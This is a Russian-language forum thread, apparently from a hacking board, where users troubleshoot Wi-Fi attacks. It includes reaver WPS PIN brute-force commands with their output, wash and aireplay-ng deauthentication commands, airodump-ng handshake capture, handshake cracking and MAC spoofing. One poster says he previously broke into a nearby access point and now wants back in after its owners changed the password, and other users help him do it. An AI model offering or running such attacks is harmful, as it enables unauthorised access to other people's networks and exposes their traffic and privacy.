[Wi-Fi, BT] Задай вопрос - получи ответ!

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by user100, 25 Apr 2015.

  1. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    У меня Alfa awus036nh и ноутбук с Kali linux 2.0 - адаптер запустился из коробки, kali 2.0 по умолчанию поддерживает такой чип.
     
  2. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    sheik122 likes this.
  3. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    он написал - Есть точка, на которой я знаю wps код, но уже который день не знаю как вытащить с точки пароль. В jumpstart пробовал, но из-за того что essid точки скрыт, она не может подобрать пароль.

    Когда пинг больше 300 мс.

    [​IMG]
     
    #963 Triton_Mgn, 26 Dec 2015
    Last edited: 26 Dec 2015
    sheik122 likes this.
  4. СЕРЖ32

    СЕРЖ32 Active Member

    Joined:
    1 Sep 2013
    Messages:
    1,761
    Likes Received:
    101
    Reputations:
    0
    тоже самое,всё работает,правда не люблю Kali,я как то по wifi slax выступаю
     
  5. kex40

    kex40 New Member

    Joined:
    26 Dec 2015
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Тогда почему reaver нивкакую не хочет перебирать пин а вставляю tp-link и все пошло.Сигнал от точки хороший.
     
  6. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Ну вы хотя бы скриншот покажите, не из за дров это точно, в режим монитора же она переводится, что за антенна на ней стоит?
     
  7. kex40

    kex40 New Member

    Joined:
    26 Dec 2015
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    • root@alex:~# reaver -i wlan1mon -b 14:14:4B:8C:1B:DC -c 6 -vv -A -L

      Reaver v1.5.2 WiFi Protected Setup Attack Tool
      Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
      mod by t6_x <[email protected]> & DataHead & Soxrok2212

      [+] Switching wlan1mon to channel 6
      [+] Waiting for beacon from 14:14:4B:8C:1B:DC
      [+] Associated with 14:14:4B:8C:1B:DC (ESSID: SEMA)
      [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
      [+] Trying pin 12345670.
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request
      [!] WARNING: Receive timeout occurred
      [+] Sending EAPOL START request

      Антена родная штыревая и у меня ещё выносная я не помню точно вроде 20 db. Да ещё сейчас протестировал TP-LINK тоже самое,а раньше работал.
     
  8. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    А вы уверены, что на точке включен wps?
    root@alex:~# wash -i wlan1mon

    Что выдает?
    Если посыпятся сообщения:
    [!] Found packet with bad FCS, skipping...
    [!] Found packet with bad FCS, skipping...
    [!] Found packet with bad FCS, skipping...
    [!] Found packet with bad FCS, skipping...

    примените ключ -C

    root@alex:~# wash -i wlan1mon -C

    Но в любом случае не копайте драйвер, он работает.
     
  9. sheik122

    sheik122 New Member

    Joined:
    19 Apr 2013
    Messages:
    62
    Likes Received:
    4
    Reputations:
    0
    Все верно, название точки скрыто, поэтому QSS for Wireless не знает куда подключаться. Есть какой-то альтернативный вариант?

    P.S Выше я писал о высоком пинге. На приеме стоял Alfa 036h. Поменял на tplink 7200nd ситуация стала намного лучше, в состоянии покоя почти нет скачков, очень редко вылетает 1500-2500мс, а так в среднем до 30мс не страшно. На альфе частенько прыгала до 400-500мс и бывает теряла пакеты. Не знаю с чем это связанно, вроде у альфы сигнал лучше. Еще с альфы не могу подключиться к точке, на которую спокойно подключаюсь через тп линк. Альфа не подделка, но попалась прошитая с ограничением на 200. Раньше вообще пинга не было, а теперь на всех точках скачки пинга. Проверял с ноутбука, примерно так же ситуация, вокруг не очень много точек, около 7-10.
     
  10. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Я так понимаю вы используете штатную антенну штырек? Если да, придется приобрести антенну, иначе альфа без нее не ахти.
     
  11. kex40

    kex40 New Member

    Joined:
    26 Dec 2015
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    WPS на точке включен , у меня wash только с флагом -C работает , пробовал тэстировать на многих точках результата ноль,ну влюбом случае спасибо за дельный совет,теперь буду знать что драйвера не причём.Тогда возникает вопрос а что это? Может что с reaverom ,но я пробовал его сносить и устанавливал заново.
     
  12. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    1. Узнать ESSID точки
    2. Использовать reaver с указанием ESSID через параметры
     
    Triton_Mgn and sheik122 like this.
  13. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Вполне возможно что reaver 1.4 заработает, попробуйте, и нам скажите. Где то я слышал про косяки с версией 1,5.
     
  14. СЕРЖ32

    СЕРЖ32 Active Member

    Joined:
    1 Sep 2013
    Messages:
    1,761
    Likes Received:
    101
    Reputations:
    0
    ну то если выносная,то да,панельку например.А вот так,в кварире,что подойдёт кроме штырька,не панельку же:)
     
  15. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Незнаю как в reaver, но при деаутентификации иногда идет ругань, что точка скрыта, например
    aireplay-ng -0 5 -a xx:xx:xx:xx:xx mon0
    Пишет -a bssid не может найти, попробуйте -e essid, пробуешь essid, пишет пробуйте bssid/ После нескольких попыток бывает удается зацепиться за какой нибудь из параметров и атака проходит, интересно как reaver отреагирует.



    binarymaster - Монитор соотвественно работал на ловлю хендшейка.
     
    #975 Triton_Mgn, 26 Dec 2015
    Last edited: 26 Dec 2015
  16. binarymaster

    binarymaster Elder - Старейшина

    Joined:
    11 Dec 2010
    Messages:
    4,717
    Likes Received:
    10,195
    Reputations:
    126
    Надо сначала повесить монитор на канал точки, используя
    airodump-ng -c канал --bssid точки
    А уже после слать деаутентификацию. Ещё к оной можно добавить флаг -D, чтобы оно не ожидало беконов.
     
    Triton_Mgn likes this.
  17. sheik122

    sheik122 New Member

    Joined:
    19 Apr 2013
    Messages:
    62
    Likes Received:
    4
    Reputations:
    0
    Не вышло у меня, не думал, что скрытие essid может доставить столько проблем, в прошлый раз я ломал эту точку без проблем, с тех пор лежит wps pin,а пароль они сменили.
    В общем забивал так, reaver -i mon0 -b XX:XX:XX:XX:XX -e Имя_точки -c Канал точки
    Ничего не вышло, просто висит ожидание, а потом ошибка. Имя точки знал еще до его скрытия, но решил проверить еще раз на всякий случай. Повисел мониторинг несколько минут и имя точки открылось. Но ривер не принес успехов, не знаю, может быть я не правильно команду задаю? В принципе интернет есть(3 точки), просто это уже дело принципа)) (+точка близко ко мне расположена будет стабильно работать).
     
  18. sheik122

    sheik122 New Member

    Joined:
    19 Apr 2013
    Messages:
    62
    Likes Received:
    4
    Reputations:
    0
    Антеннку покупал обычную, чуть больше родной 9dbm. Да там явно дело не в антенне. У меня к этой точке даже с айфона подключается, т.е сигнал хороший, но скачки пинга на альфе намного чаще. В прошлый раз когда приезжал домой вообще пингов не было нигде. Это точно сосед какой-то мешает всем.
     
  19. Triton_Mgn

    Triton_Mgn Elder - Старейшина

    Joined:
    6 Jul 2015
    Messages:
    3,673
    Likes Received:
    5,797
    Reputations:
    51
    Почему бы не попробовать расшифровать хендшейк?
     
  20. VladimirV

    VladimirV Well-Known Member

    Joined:
    1 Apr 2013
    Messages:
    1,130
    Likes Received:
    6,150
    Reputations:
    57
    Смените мак на клиентский - может поможет.
     
    binarymaster likes this.